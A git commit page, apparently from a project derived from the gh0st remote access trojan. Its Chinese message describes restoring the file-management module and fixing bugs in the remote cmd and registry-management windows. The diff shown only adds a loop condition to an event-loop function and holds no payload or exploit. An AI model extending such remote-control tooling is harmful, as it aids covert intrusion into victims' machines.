修复注册表管理窗口关闭时崩溃的缺陷
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本. 2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。 3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
This commit is contained in:
@@ -338,9 +338,10 @@ VOID IOCPClient::Disconnect()
|
||||
}
|
||||
|
||||
|
||||
VOID IOCPClient::RunEventLoop()
|
||||
VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
|
||||
{
|
||||
OutputDebugStringA("======> RunEventLoop begin\n");
|
||||
while (m_bIsRunning) Sleep(200);
|
||||
while (m_bIsRunning && bCondition)
|
||||
Sleep(200);
|
||||
OutputDebugStringA("======> RunEventLoop end\n");
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user